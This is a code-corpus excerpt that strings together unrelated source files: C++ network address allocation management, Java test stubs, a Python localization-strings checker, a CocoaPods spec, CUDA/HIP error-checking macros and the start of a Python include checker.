// Regenerate the internal running state using the persisted data.
for (const auto & item : networkDefinitions)
{
NetworkManagerSPtr networkMgr;
networkMgr = make_shared<NetworkManager>(service_);
networkMgr->Initialize(item, macPool_, true);
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "Failed to initialize NetworkManager for network: [{0}]: {1}",
item->NetworkDefinition->NetworkName,
error.ErrorCodeValueToString());
return error;
}
//--------
// Handle IP address pool data.
for (auto ipPool : ipAddressPools)
{
if (StringUtility::AreEqualCaseInsensitive(ipPool->NetworkId, item->NetworkDefinition->NetworkName))
{
networkMgr->SetIPv4AddressPool(ipPool);
}
}
//--------
// Handle node -> allocation data.
for (auto nodeMapAlloc : networkNodeAllocations)
{
if (StringUtility::AreEqualCaseInsensitive(nodeMapAlloc->NetworkId, item->NetworkDefinition->NetworkName))
{
networkMgr->SetNodeAllocMap(nodeMapAlloc);
}
}
this->networkMgrMap_.emplace(item->Id, networkMgr);
}
}
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "Failed to LoadFromStore: error: {0}",
error.ErrorCodeValueToString());
}
}
this->CleanUpNetworks();
return error;
}
ErrorCode NetworkInventoryAllocationManager::CleanUpNetworks()
{
ErrorCode error(ErrorCodeValue::Success);
std::vector<NodeInfoSPtr> nodeInfos;
this->service_.FM.NodeCacheObj.GetNodes(nodeInfos);
AcquireExclusiveLock lock(managerLock_);
for (const auto & i : this->networkMgrMap_)
{
auto networkMgr = i.second;
int index = 0;
{
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(networkMgr));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
auto nodeInfo = nodeInfos[index];
//--------
// Clean up all the stale allocations based on node instanceId changing after crash/reboot.
auto a = lockedNetworkMgr->Get()->BeginReleaseAllIpsForNode(nodeInfo,
false,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, nodeInfos, index](AsyncOperationSPtr const & contextSPtr)
{
this->ReleaseAllIpsForNodeCallback(lockedNetworkMgr, nodeInfos, index, contextSPtr);
});
}
}
}
return error;
}
ErrorCode NetworkInventoryAllocationManager::ReleaseAllIpsForNodeCallback(
const LockedNetworkManagerSPtr & lockedNetworkMgr,
const std::vector<NodeInfoSPtr> & nodeInfos,
int index,
AsyncOperationSPtr const & contextSPtr)
{
std::shared_ptr<InternalError> reply;
auto error = lockedNetworkMgr->Get()->EndReleaseAllIpsForNode(contextSPtr, reply);
if (error.IsSuccess())
{
if (reply->UpdateNeeded)
{
//--------
// Enqueues sending the mapping table to the hosts.
this->EnqueuePublishNetworkMappings(lockedNetworkMgr);
}
}
else
{
WriteError(NIMAllocationManagerProvider, "ReleaseAllIpsForNodeCallback: Failed for release ips: [{0}] for node: [{1}], error: {2}",
lockedNetworkMgr->Get()->NetworkDefinition->NetworkId,
nodeInfos[index]->NodeName,
error.ErrorCodeValueToString());
}
//--------
// Next iteration.
if (++index < nodeInfos.size())
{
auto nodeInfo = nodeInfos[index];
auto a = lockedNetworkMgr->Get()->BeginReleaseAllIpsForNode(nodeInfo,
false,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, nodeInfos, index](AsyncOperationSPtr const & contextSPtr)
{
this->ReleaseAllIpsForNodeCallback(lockedNetworkMgr, nodeInfos, index, contextSPtr);
});
}
return error;
}
ErrorCode NetworkInventoryAllocationManager::NetworkCreateAsync(
NetworkCreateRequestMessage & request,
Common::AsyncOperationSPtr const & operation)
{
ErrorCode error(ErrorCodeValue::Success);
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
NetworkDefinitionSPtr network = request.NetworkDefinition;
auto netIter = this->networkMgrMap_.find(request.NetworkName);
if (netIter != this->networkMgrMap_.end())
{
WriteError(NIMAllocationManagerProvider, "NetworkCreateAsync Failed: Network name already defined: [{0}]",
request.NetworkName);
return ErrorCode(ErrorCodeValue::NameAlreadyExists);
}
std::vector<uint> vsidList;
error = this->macPool_->VSIDPool->ReserveElements(1, vsidList);
if(this->macPool_->PersistenceState != PersistenceState::ToBeInserted)
{
this->macPool_->PersistenceState = PersistenceState::ToBeUpdated;
}
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "NetworkCreateAsync: Failed for getting VSID from pool, error: {0}",
error.ErrorCodeValueToString());
return error;
}
network->OverlayId = vsidList[0];
WriteInfo(NIMAllocationManagerProvider, "NetworkCreateAsync: going to create isolated network: [{0}], subnet: [{1}], vsid: [{2}]",
request.NetworkName, network->Subnet, network->OverlayId);
auto networkDefinitionStoreData = make_shared<NIMNetworkDefinitionStoreData>(network);
networkDefinitionStoreData->PersistenceState = PersistenceState::ToBeInserted;
networkMgr = make_shared<NetworkManager>(service_);
error = networkMgr->Initialize(networkDefinitionStoreData, macPool_);
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "NetworkCreateAsync: Failed to initialize NetworkManager for network: [{0}]",
network->NetworkName);
this->macPool_->VSIDPool->ReturnElements(vsidList);
return error;
}
error = networkMgr->PersistData();
if (!error.IsSuccess())
{
WriteError(NIMAllocationManagerProvider, "NetworkCreateAsync: Failed to PersistData for network: [{0}]: {1}",
network->NetworkName,
error.ErrorCodeValueToString());
this->macPool_->VSIDPool->ReturnElements(vsidList);
return error;
}
this->networkMgrMap_.emplace(network->NetworkName, networkMgr);
//--------
// Set the reply.
auto p = (InvokeActionAsyncOperation<NetworkCreateRequestMessage, NetworkCreateResponseMessage>*)(operation.get());
p->Reply->NetworkDefinition = networkMgr->NetworkDefinition->Clone();
operation->TryComplete(operation, error);
}
return error;
}
ErrorCode NetworkInventoryAllocationManager::NetworkRemoveAsync(
NetworkRemoveRequestMessage & request,
Common::AsyncOperationSPtr const & operation)
{
ErrorCode error(ErrorCodeValue::Success);
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(request.NetworkId);
if (netIter == this->networkMgrMap_.end())
{
WriteError(NIMAllocationManagerProvider, "NetworkRemoveAsync Failed: Network not found: [{0}]",
request.NetworkId);
return ErrorCode(ErrorCodeValue::NetworkNotFound);
}
networkMgr = netIter->second;
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(networkMgr));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
//--------
// Get the allocation from the network pools.
auto a = lockedNetworkMgr->Get()->BeginNetworkRemove(request,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, operation](AsyncOperationSPtr const & contextSPtr)
{
std::shared_ptr<NetworkErrorCodeResponseMessage> reply;
auto error = lockedNetworkMgr->Get()->EndNetworkRemove(contextSPtr, reply);
if (error.IsSuccess())
{
//--------
// Remove the network from runtime.
this->networkMgrMap_.erase(lockedNetworkMgr->Get()->NetworkDefinition->NetworkName);
}
else
{
WriteWarning(NIMAllocationManagerProvider, "NetworkRemoveAsync Failed with {0}: => not removing runtime data [{1}]",
error.ErrorCodeValueToString(),
lockedNetworkMgr->Get()->NetworkDefinition->NetworkName);
}
operation->TryComplete(operation, error);
});
}
}
return error;
}
ErrorCode NetworkInventoryAllocationManager::NetworkNodeRemoveAsync(
NetworkRemoveRequestMessage & request,
Common::AsyncOperationSPtr const & operation)
{
ErrorCode error(ErrorCodeValue::Success);
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(request.NetworkId);
if (netIter == this->networkMgrMap_.end())
{
WriteError(NIMAllocationManagerProvider, "NetworkNodeRemoveAsync Failed: Network not found: [{0}]",
request.NetworkId);
return ErrorCode(ErrorCodeValue::NetworkNotFound);
}
networkMgr = netIter->second;
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(networkMgr));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
//--------
// Get the allocation from the network pools.
auto a = lockedNetworkMgr->Get()->BeginNetworkNodeRemove(request,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, operation](AsyncOperationSPtr const & contextSPtr)
{
std::shared_ptr<NetworkErrorCodeResponseMessage> reply;
auto error = lockedNetworkMgr->Get()->EndNetworkNodeRemove(contextSPtr, reply);
if (!error.IsSuccess())
{
WriteWarning(NIMAllocationManagerProvider, "NetworkNodeRemoveAsync Failed with {0}: => not removing runtime data [{1}]",
error.ErrorCodeValueToString(),
lockedNetworkMgr->Get()->NetworkDefinition->NetworkName);
}
operation->TryComplete(operation, error);
});
}
}
return error;
}
std::vector<ModelV2::NetworkResourceDescriptionQueryResult> NetworkInventoryAllocationManager::NetworkEnumerate(
const NetworkQueryFilter & filter)
{
std::vector<ModelV2::NetworkResourceDescriptionQueryResult> networkList;
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
for (const auto & i : this->networkMgrMap_)
{
auto net = i.second->NetworkDefinition;
ModelV2::NetworkResourceDescriptionQueryResult netInfo(net->NetworkName,
FABRIC_NETWORK_TYPE::FABRIC_NETWORK_TYPE_LOCAL,
wformatString("{0}/{1}", net->Subnet, net->Prefix),
FABRIC_NETWORK_STATUS::FABRIC_NETWORK_STATUS_READY);
if (filter(netInfo))
{
networkList.push_back(move(netInfo));
}
}
}
return move(networkList);
}
std::vector<ServiceModel::NetworkApplicationQueryResult> NetworkInventoryAllocationManager::GetNetworkApplicationList(
const std::wstring & networkName)
{
UNREFERENCED_PARAMETER(networkName);
std::vector<ServiceModel::NetworkApplicationQueryResult> applicationList;
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(networkName);
if (netIter != this->networkMgrMap_.end())
{
networkMgr = netIter->second;
for (const auto & applicationName : networkMgr->GetAssociatedApplications())
{
ServiceModel::NetworkApplicationQueryResult networkApplicationQR(applicationName);
applicationList.push_back(move(networkApplicationQR));
}
}
}
return move(applicationList);
}
std::vector<ServiceModel::ApplicationNetworkQueryResult> NetworkInventoryAllocationManager::GetApplicationNetworkList(
const std::wstring & applicationName)
{
std::vector<ServiceModel::ApplicationNetworkQueryResult> networkList;
AcquireExclusiveLock lock(this->managerLock_);
for ( auto netIter = this->networkMgrMap_.begin(); netIter != this->networkMgrMap_.end(); netIter++ )
{
auto applications = netIter->second->GetAssociatedApplications();
if (find(applications.begin(), applications.end(), applicationName) != applications.end())
{
ServiceModel::ApplicationNetworkQueryResult applicationNetworkQR(netIter->first);
networkList.push_back(move(applicationNetworkQR));
}
}
return move(networkList);
}
std::vector<ServiceModel::NetworkNodeQueryResult> NetworkInventoryAllocationManager::GetNetworkNodeList(
const std::wstring & networkName)
{
std::vector<ServiceModel::NetworkNodeQueryResult> nodeList;
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(networkName);
if (netIter != this->networkMgrMap_.end())
{
networkMgr = netIter->second;
for (const auto & nodeName : networkMgr->GetAssociatedNodes())
{
ServiceModel::NetworkNodeQueryResult nodeQR(nodeName);
nodeList.push_back(move(nodeQR));
}
}
}
return move(nodeList);
}
std::vector<ServiceModel::DeployedNetworkQueryResult> NetworkInventoryAllocationManager::GetDeployedNetworkList()
{
std::vector<ServiceModel::DeployedNetworkQueryResult> deployedNetworkList;
return move(deployedNetworkList);
}
NetworkDefinitionSPtr NetworkInventoryAllocationManager::GetNetworkByName(const std::wstring & networkName)
{
NetworkDefinitionSPtr network;
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(networkName);
if (netIter != this->networkMgrMap_.end())
{
network = netIter->second->NetworkDefinition->Clone();
}
}
return network;
}
ErrorCode NetworkInventoryAllocationManager::NetworkEnumerateAsync(
NetworkEnumerateRequestMessage & request,
Common::AsyncOperationSPtr const & operation)
{
UNREFERENCED_PARAMETER(request);
ErrorCode error(ErrorCodeValue::Success);
std::vector<NetworkDefinitionSPtr> networkList;
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
for (const auto & i : this->networkMgrMap_)
{
auto net = i.second->NetworkDefinition->Clone();
networkList.push_back(net);
}
auto reply = make_shared<NetworkEnumerateResponseMessage>();
reply->NetworkDefinitionList = networkList;
auto p = (InvokeActionAsyncOperation<NetworkEnumerateRequestMessage, NetworkEnumerateResponseMessage>*)(operation.get());
p->Reply = reply;
}
operation->TryComplete(operation, error);
return error;
}
ErrorCode NetworkInventoryAllocationManager::AcquireEntryBlockAsync(
NetworkAllocationRequestMessage & allocationRequest,
Common::AsyncOperationSPtr const & operation)
{
ErrorCode error(ErrorCodeValue::Success);
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(allocationRequest.NetworkName);
if (netIter != this->networkMgrMap_.end())
{
WriteInfo(NIMAllocationManagerProvider, "AcquireEntryBlockAsync: found network: [{0}]",
allocationRequest.NetworkName);
networkMgr = netIter->second;
}
else
{
WriteError(NIMAllocationManagerProvider, "AcquireEntryBlockAsync: Failed to find network: [{0}]",
allocationRequest.NetworkName);
return ErrorCode(ErrorCodeValue::NetworkNotFound);
}
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(networkMgr));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
//--------
// Get the allocation from the network pools.
auto a = lockedNetworkMgr->Get()->BeginAcquireEntryBlock(allocationRequest,
FederationConfig::GetConfig().MessageTimeout,
[this, lockedNetworkMgr, operation](AsyncOperationSPtr const & contextSPtr)
{
std::shared_ptr<NetworkAllocationResponseMessage> reply;
auto error = lockedNetworkMgr->Get()->EndAcquireEntryBlock(contextSPtr, reply);
auto p = (InvokeActionAsyncOperation<NetworkAllocationRequestMessage, NetworkAllocationResponseMessage>*)(operation.get());
p->Reply = reply;
if (error.IsSuccess())
{
//--------
// Enqueues sending the mapping table to the hosts.
this->EnqueuePublishNetworkMappings(lockedNetworkMgr);
}
else
{
WriteError(NIMAllocationManagerProvider, "AcquireEntryBlock: failed to get addresses: error: {0}",
error.ErrorCodeValueToString());
}
operation->TryComplete(operation, error);
});
}
}
return error;
}
//--------
// Enqueue a job to send the mapping table.
Common::ErrorCode NetworkInventoryAllocationManager::EnqueuePublishNetworkMappings(const std::wstring& networkName)
{
ErrorCode error(ErrorCodeValue::Success);
NetworkManagerSPtr networkMgr;
{
AcquireExclusiveLock lock(this->managerLock_);
auto netIter = this->networkMgrMap_.find(networkName);
if (netIter == this->networkMgrMap_.end())
{
WriteError(NIMAllocationManagerProvider, "EnqueuePublishNetworkMappings Failed: Network not found: [{0}]",
networkName);
return ErrorCode(ErrorCodeValue::NetworkNotFound);
}
networkMgr = netIter->second;
auto networkMgrCache = make_shared<FailoverManagerComponent::CacheEntry<NetworkManager>>(move(networkMgr));
auto lockedNetworkMgr = make_shared<LockedNetworkManager>();
error = networkMgrCache->Lock(networkMgrCache, *lockedNetworkMgr);
if (error.IsSuccess())
{
EnqueuePublishNetworkMappings(lockedNetworkMgr);
}
else
{
WriteError(NIMAllocationManagerProvider, "EnqueuePublishNetworkMappings: Failed to lock network: [{0}]",
error.ErrorCodeValueToString());
}
}
return error;
}
void NetworkInventoryAllocationManager::EnqueuePublishNetworkMappings(
const LockedNetworkManagerSPtr & lockedNetworkMgr)
{
//--------
// Get current mappings.
std::vector<Federation::NodeInstance> nodeInstances;
std::vector<NetworkAllocationEntrySPtr> networkMappingTable;
ErrorCode error = lockedNetworkMgr->Get()->GetNetworkMappingTable(nodeInstances, networkMappingTable);
if (error.IsSuccess())
{
std::wstring networkName(lockedNetworkMgr->Get()->NetworkDefinition->NetworkName);
PublishNetworkTablesRequestMessage publishRequest(networkName,
nodeInstances,
networkMappingTable,
false,
lockedNetworkMgr->Get()->NetworkDefinition->InstanceID,
lockedNetworkMgr->Get()->GetSequenceNumber());
//--------
// Enqueues sending the mapping table to the hosts.
TimeSpan timeout = TimeSpan::FromSeconds(60);
for (const auto & nodeInstance : publishRequest.NodeInstances)
{
PublishNetworkMappingJobItem jobItem(
this,
nodeInstance,
publishRequest,
timeout);
publishNetworkMappingJobQueue_->Enqueue(move(jobItem));
}
}
}
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginNetworkCreate(
NetworkCreateRequestMessage & allocationRequest,
Common::TimeSpan const & timeout,
Common::AsyncCallback const & callback)
{
return AsyncOperation::CreateAndStart<NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkCreateRequestMessage, NetworkCreateResponseMessage> >(
*this, allocationRequest, timeout,
[this](NetworkCreateRequestMessage & request, AsyncOperationSPtr const & thisSPtr) -> ErrorCode
{
return this->NetworkCreateAsync(request, thisSPtr);
},
callback,
this->service_.FM.CreateAsyncOperationRoot());
}
Common::ErrorCode NetworkInventoryAllocationManager::EndNetworkCreate(
Common::AsyncOperationSPtr const & operation,
__out std::shared_ptr<NetworkCreateResponseMessage> & reply)
{
return NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkCreateRequestMessage, NetworkCreateResponseMessage>::End(
operation,
reply);
}
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginNetworkRemove(
NetworkRemoveRequestMessage & allocationRequest,
Common::TimeSpan const & timeout,
Common::AsyncCallback const & callback)
{
return AsyncOperation::CreateAndStart<NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkRemoveRequestMessage, NetworkErrorCodeResponseMessage> >(
*this, allocationRequest, timeout,
[this](NetworkRemoveRequestMessage & request, AsyncOperationSPtr const & thisSPtr) -> ErrorCode
{
return this->NetworkRemoveAsync(request, thisSPtr);
},
callback,
this->service_.FM.CreateAsyncOperationRoot());
}
Common::ErrorCode NetworkInventoryAllocationManager::EndNetworkRemove(
Common::AsyncOperationSPtr const & operation,
__out std::shared_ptr<NetworkErrorCodeResponseMessage> & reply)
{
return NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkRemoveRequestMessage, NetworkErrorCodeResponseMessage>::End(
operation,
reply);
}
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginNetworkNodeRemove(
NetworkRemoveRequestMessage & allocationRequest,
Common::TimeSpan const & timeout,
Common::AsyncCallback const & callback)
{
return AsyncOperation::CreateAndStart<NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkRemoveRequestMessage, NetworkErrorCodeResponseMessage> >(
*this, allocationRequest, timeout,
[this](NetworkRemoveRequestMessage & request, AsyncOperationSPtr const & thisSPtr) -> ErrorCode
{
return this->NetworkNodeRemoveAsync(request, thisSPtr);
},
callback,
this->service_.FM.CreateAsyncOperationRoot());
}
Common::ErrorCode NetworkInventoryAllocationManager::EndNetworkNodeRemove(
Common::AsyncOperationSPtr const & operation,
__out std::shared_ptr<NetworkErrorCodeResponseMessage> & reply)
{
return NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkRemoveRequestMessage, NetworkErrorCodeResponseMessage>::End(
operation,
reply);
}
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginNetworkEnumerate(
NetworkEnumerateRequestMessage & allocationRequest,
Common::TimeSpan const & timeout,
Common::AsyncCallback const & callback)
{
return AsyncOperation::CreateAndStart<NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkEnumerateRequestMessage, NetworkEnumerateResponseMessage> >(
*this, allocationRequest, timeout,
[this](NetworkEnumerateRequestMessage & request, AsyncOperationSPtr const & thisSPtr) -> ErrorCode
{
return this->NetworkEnumerateAsync(request, thisSPtr);
},
callback,
this->service_.FM.CreateAsyncOperationRoot());
}
Common::ErrorCode NetworkInventoryAllocationManager::EndNetworkEnumerate(
Common::AsyncOperationSPtr const & operation,
__out std::shared_ptr<NetworkEnumerateResponseMessage> & reply)
{
return NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkEnumerateRequestMessage, NetworkEnumerateResponseMessage>::End(
operation,
reply);
}
//--------
// Start the BeginAssociateApplication invoke async operation.
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginAssociateApplication(
std::wstring const & networkName,
std::wstring const & applicationName,
bool isAssociation,
Common::AsyncCallback const & callback,
Common::AsyncOperationSPtr const & parent)
{
return AsyncOperation::CreateAndStart<AssociateApplicationAsyncOperation>(
*this,
networkName,
applicationName,
isAssociation,
callback,
parent);
}
//--------
// Complete the invoke request and get the reply.
Common::ErrorCode NetworkInventoryAllocationManager::EndAssociateApplication(Common::AsyncOperationSPtr const & operation)
{
return AssociateApplicationAsyncOperation::End(operation);
}
Common::AsyncOperationSPtr NetworkInventoryAllocationManager::BeginAcquireEntryBlock(
NetworkAllocationRequestMessage & allocationRequest,
Common::TimeSpan const & timeout,
Common::AsyncCallback const & callback)
{
return AsyncOperation::CreateAndStart<NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkAllocationRequestMessage, NetworkAllocationResponseMessage> >(
*this, allocationRequest, timeout,
[this](NetworkAllocationRequestMessage & request, AsyncOperationSPtr const & thisSPtr) -> ErrorCode
{
return this->AcquireEntryBlockAsync(request, thisSPtr);
},
callback,
this->service_.FM.CreateAsyncOperationRoot());
}
Common::ErrorCode NetworkInventoryAllocationManager::EndAcquireEntryBlock(
Common::AsyncOperationSPtr const & operation,
__out std::shared_ptr<NetworkAllocationResponseMessage> & reply)
{
return NetworkInventoryAllocationManager::InvokeActionAsyncOperation<NetworkAllocationRequestMessage, NetworkAllocationResponseMessage>::End(
operation,
reply);
}
| 16,166 |
390 | <reponame>JLLeitschuh/blueflood
package com.rackspacecloud.blueflood.io;
import com.rackspacecloud.blueflood.types.IMetric;
import java.util.List;
/**
* Used by {@link com.rackspacecloud.blueflood.utils.ModuleLoaderTest}
*/
public class DummyDiscoveryIO4 implements DiscoveryIO {
public DummyDiscoveryIO4(String parameter) {
}
@Override
public void insertDiscovery(IMetric metric) throws Exception {
}
@Override
public void insertDiscovery(List<IMetric> metrics) throws Exception {
}
@Override
public List<SearchResult> search(String tenant, String query) throws Exception {
return null;
}
@Override
public List<SearchResult> search(String tenant, List<String> queries) throws Exception {
return null;
}
@Override
public List<MetricName> getMetricNames(String tenant, String query) throws Exception {
return null;
}
}
| 315 |
458 | <filename>LocalToos/checkLocalizable.py
# coding=utf-8
import os
import re
# 将要解析的项目名称
DESPATH = "/Users/wangsuyan/desktop/project/LGSKmart/LGSKmart/Resource/Localizations"
ERROR_DESPATH = "/Users/wangsuyan/Desktop/checkLocalizable.log"
MAIN_LOCALIZABLE_FILE = "/zh-Hans.lproj/Localizable.strings"
_result = {}
def filename(filePath):
return os.path.split(filePath)[1]
def pragram_error(filePath):
if '/Base.lproj/Localizable.strings' in filePath:
return
print(filePath)
f = open(filePath)
isMutliNote = False
fname = filePath.replace(DESPATH, '')
_list = set()
for index, line in enumerate(f):
line = line.strip()
if '/*' in line:
isMutliNote = True
if '*/' in line:
isMutliNote = False
if isMutliNote:
continue
if len(line) == 0 or line == '*/':
continue
if re.findall(r'^/+', line):
continue
regx = r'^"(.*s?)"\s*=\s*".*?";$'
matchs = re.findall(regx, line)
if matchs:
for item in matchs:
_list.add(item)
_result[fname] = _list
def find_from_file(path):
paths = os.listdir(path)
for aCompent in paths:
aPath = os.path.join(path, aCompent)
if os.path.isdir(aPath):
find_from_file(aPath)
elif os.path.isfile(aPath) and os.path.splitext(aPath)[1]=='.strings':
pragram_error(aPath)
def parse_result():
fValues = _result[MAIN_LOCALIZABLE_FILE]
with open(ERROR_DESPATH, 'w') as ef:
for k, v in _result.items():
if k == MAIN_LOCALIZABLE_FILE:
continue
result = fValues - v
ef.write(k + '\n')
for item in result:
ef.write(item + '\n')
ef.write('\n')
if __name__ == '__main__':
find_from_file(DESPATH)
parse_result()
print('已解析完成,结果保存在桌面中的 checkLocalizable.log 文件中') | 1,020 |
5,169 | <filename>Specs/0/a/1/WeSdkMediation_AdColony/3.3.8.1.1/WeSdkMediation_AdColony.podspec.json<gh_stars>1000+
{
"name": "WeSdkMediation_AdColony",
"version": "3.3.8.1.1",
"summary": "AdColoy Adapters for mediating through WeSdk.",
"homepage": "https://github.com/webeyemob/WeSdkiOSPub",
"license": {
"type": "MIT"
},
"authors": "WeSdk",
"platforms": {
"ios": "10.0"
},
"source": {
"git": "https://github.com/webeyemob/WeSdkiOSPub.git",
"tag": "adcolony-3.3.8.1.1"
},
"vendored_frameworks": "WeSdkMediation_AdColony/3.3.8.1.1/WeMobMediation_AdColony.framework",
"dependencies": {
"AdColony": [
"~> 3.3.8.1"
],
"WeSdk": [
]
}
}
| 343 |
317 | #define EXPANDDIMS(funcname, param3, param4, param5, callstring) \
case 0: \
CON(funcname,0) <<<param3, param4, param5>>> callstring;\
break;\
case 1: \
CON(funcname,1) <<<param3, param4, param5>>> callstring;\
break;\
case 2:\
CON(funcname,2) <<<param3, param4, param5>>> callstring;\
break;\
case 3:\
CON(funcname,3) <<<param3, param4, param5>>> callstring;\
break;\
case 4:\
CON(funcname,4) <<<param3, param4, param5>>> callstring;\
break;\
case 5:\
CON(funcname,5) <<<param3, param4, param5>>> callstring;\
break;\
case 6:\
CON(funcname,6) <<<param3, param4, param5>>> callstring;\
break;\
case 7:\
CON(funcname,7) <<<param3, param4, param5>>> callstring;\
break;\
case 8:\
CON(funcname,8) <<<param3, param4, param5>>> callstring;\
break;\
case 9:\
CON(funcname,9) <<<param3, param4, param5>>> callstring;\
break;\
case 10:\
CON(funcname,10) <<<param3, param4, param5>>> callstring;\
break;\
case 11:\
CON(funcname,11) <<<param3, param4, param5>>> callstring;\
break;\
case 12:\
CON(funcname,12) <<<param3, param4, param5>>> callstring;\
break;\
case 13:\
CON(funcname,13) <<<param3, param4, param5>>> callstring;\
break;\
case 14:\
CON(funcname,14) <<<param3, param4, param5>>> callstring;\
break;\
case 15:\
CON(funcname,15) <<<param3, param4, param5>>> callstring;\
break;
#ifdef TCE_CUDA
#define SAFECUDAMALLOC(pointer, size) cudaMalloc(pointer, size) ;\
{cudaError_t err = cudaGetLastError();\
if(err != cudaSuccess){\
printf("\nKernel ERROR in hostCall: %s (line: %d)\n", cudaGetErrorString(err), __LINE__);\
exit(-1);\
}}
#define SAFECUDAMEMCPY(dest, src, size, type) cudaMemcpy(dest, src, size, type) ;\
{cudaError_t err = cudaGetLastError();\
if(err != cudaSuccess){\
printf("\nKernel ERROR in hostCall: %s (line: %d)\n", cudaGetErrorString(err), __LINE__);\
exit(-1);\
}}
#endif
#ifdef TCE_HIP
#define SAFECUDAMALLOC(pointer, size) hipMalloc(pointer, size) ;\
{hipError_t err = hipGetLastError();\
if(err != hipSuccess){\
printf("\nKernel ERROR in hostCall: %s (line: %d)\n", hipGetErrorString(err), __LINE__);\
exit(-1);\
}}
#define SAFECUDAMEMCPY(dest, src, size, type) hipMemcpy(dest, src, size, type) ;\
{hipError_t err = hipGetLastError();\
if(err != hipSuccess){\
printf("\nKernel ERROR in hostCall: %s (line: %d)\n", hipGetErrorString(err), __LINE__);\
exit(-1);\
}}
#endif
| 1,268 |
1,019 | <filename>jafu/src/test/java/org/springframework/fu/jafu/jdbc/JdbcDslTests.java
package org.springframework.fu.jafu.jdbc;
import org.junit.jupiter.api.Test;
import org.wildfly.common.Assert;
import org.springframework.jdbc.core.JdbcTemplate;
import static org.springframework.fu.jafu.Jafu.application;
import static org.springframework.fu.jafu.jdbc.JdbcDsl.*;
public class JdbcDslTests {
@Test
public void enableJdbc() {
var app = application(a -> a.enable(jdbc()));
var context = app.run();
Assert.assertNotNull(context.getBean(JdbcTemplate.class));
context.close();
}
}
| 237 |
312 | <gh_stars>100-1000
'''
Wrapper to the CLI interface
'''
from .api_docgen import generate_api
from .file_parser import load_documentation
from .system_commands import run_doxygen
from .constants import OCCA_DIR
def main():
run_doxygen()
doc_tree = load_documentation()
generate_api(
f'{OCCA_DIR}/docs',
doc_tree
)
| 140 |
2,743 | <reponame>Nicholas-7/cuml<filename>cpp/scripts/include_checker.py
#
# Copyright (c) 2019-2021, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from __future__ import print_function
import sys
import re
import os
import argparse
import io
from functools import reduce
import operator
import dataclasses
import typing
# file names could (in theory) contain simple white-space
IncludeRegex = re.compile(r"(\s*#include\s*)([\"<])([\S ]+)([\">])")
PragmaRegex = re.compile(r"^ *\#pragma\s+once *$")
def parse_args():
argparser = argparse.ArgumentParser(
"Checks for a consistent '#include' syntax")
argparser.add_argument("--regex",
type=str,
default=r"[.](cu|cuh|h|hpp|hxx|cpp)$",
help="Regex string to filter in sources")
argparser.add_argument(
"--inplace",
action="store_true",
required=False,
help="If set, perform the required changes inplace.")
argparser.add_argument("--top_include_dirs",
required=False,
default='src,src_prims',
help="comma-separated list of directories used as "
"search dirs on build and which should not be "
"crossed in relative includes")
argparser.add_argument("dirs",
type=str,
nargs="*",
help="List of dirs where to find sources")
args = argparser.parse_args()
args.regex_compiled = re.compile(args.regex)
return args
@dataclasses.dataclass()
class Issue:
is_error: bool
msg: str
file: str
line: int
